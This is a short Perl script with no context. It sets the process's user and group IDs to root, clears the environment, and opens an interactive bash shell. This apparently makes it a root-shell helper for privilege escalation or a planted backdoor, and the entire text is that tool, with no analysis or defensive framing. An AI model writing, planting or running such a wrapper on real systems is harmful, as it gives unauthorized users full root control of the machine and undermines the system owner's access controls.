#!/usr/bin/perl
$< = $> = $( = $) = 0;
undef %ENV; %ENV = ("PATH" => "/bin:/usr/bin:/usr/sbin:/sbin");
system("/bin/bash -i")